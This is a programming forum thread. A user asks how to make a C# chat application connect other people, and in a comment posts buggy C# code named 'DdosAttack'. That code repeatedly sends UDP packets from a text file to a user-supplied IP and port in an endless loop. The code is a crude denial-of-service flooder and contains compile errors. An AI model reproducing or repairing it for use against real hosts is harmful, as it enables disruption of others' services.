Click here to Skip to main content
15,909,591 members
Please Sign up or sign in to vote.
1.00/5 (2 votes)
See more:
Ok so here is the problem i want lets call them Canada and Paris to talk to each other on the same application that was created by C# how do i make this application i have all the files already but it wont connect to other people you can only talk to yourself please help...

What I have tried:

Downloading other peoples chat room but it only allows you to talk to yourself.
Posted
Updated 28-Feb-16 5:25am
Comments
Garth J Lancaster 26-Feb-16 22:04pm    
not enough information you have supplied !

you dont show us any code - so what have you done to test the issue - have you used 2 machines on whatever network you are now using ?

are you trying this from home, work, or ? how are you connected to the internet ? do you know the difference between a private tcp/ip address and a public tcp/ip address ? do you know anything about dns entries ? .. thats just for starters !

please use the 'improve question' widget and add as much relavant information to your question as possible
Member 12354696 27-Feb-16 0:40am    
can you help me with this code i am working on something else now what am i dont wrong here? please not the title ddos attack is not to send any attacks to anyone im just using this as a practice workout C# program
anyway heres the code!


using System;
using DdosAttack;
using System.Text;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Threading;

namespace DdosAttack
{
class Program
{
private Action<object, DdosAttack.Program> button_Click;

public Program(Action<object, DdosAttack.Program> button_Click)
{
{ }
this.button_Click = button_Click;
}
public static string ip;
public static string text;
public static string txtfile;
public static int count = 0;
public static int port;
private Action<object, Program> Button_Click;

Program()
{
NewMethod(button_Click);
}

private static void NewMethod(Action<object, Program> button_Click)
{
var program = this;
program.Button_Click = button_Click;
}

public static void main()
{
if (GetFile())
{
using (StreamReader sr = new StreamReader(txtfile))
text = sr.ReadToEnd();

GetInfo();

while (true)
{
if (Send())
{
count++;
Console.WriteLine($"{count} Packet(s) have been send!");
Thread.Sleep(50);
}
else
{
Console.WriteLine($"Error while sending packets!", ConsoleColor.Red);
Thread.Sleep(50);
}
}
}
else
{
main();
}
}

public static bool GetFile()
{
Console.Write("Type the path to your .txt file: ");
txtfile = Console.ReadLine();

if (File.Exists(txtfile))
return true;
else
return false;
}

public static void GetInfo()
{
Console.Write("IP: ");
ip = Console.ReadLine();

Console.Write("Port: ");
port = Convert.ToInt32(Console.ReadLine());
}

public static bool Send()
{
byte[] packetdata = Encoding.ASCII.GetBytes(text);
IPEndPoint ep = new IPEndPoint(IPAddress.Parse(ip), port);
Socket sock = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);

try
{
sock.SendTo(packetdata, ep);
return true;
}
catch (Exception ex)
{
return false;
}
}
}
}
Garth J Lancaster 27-Feb-16 1:16am    
thats just plain rude, or 'taking the mickey' - my suggestion is to find a decent textbook on networking and studying that first, and, if you wish to ask a completly separate question/one not related to the original post, you post a new question

Basically you have to create chat server first and then allow users to interact with each other using the mobile app

Follow the algorithm as below -

How to C# Chat server programming[^]
 
Share this answer
 
simple search will do -

Google[^]
 
Share this answer
 

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)



CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900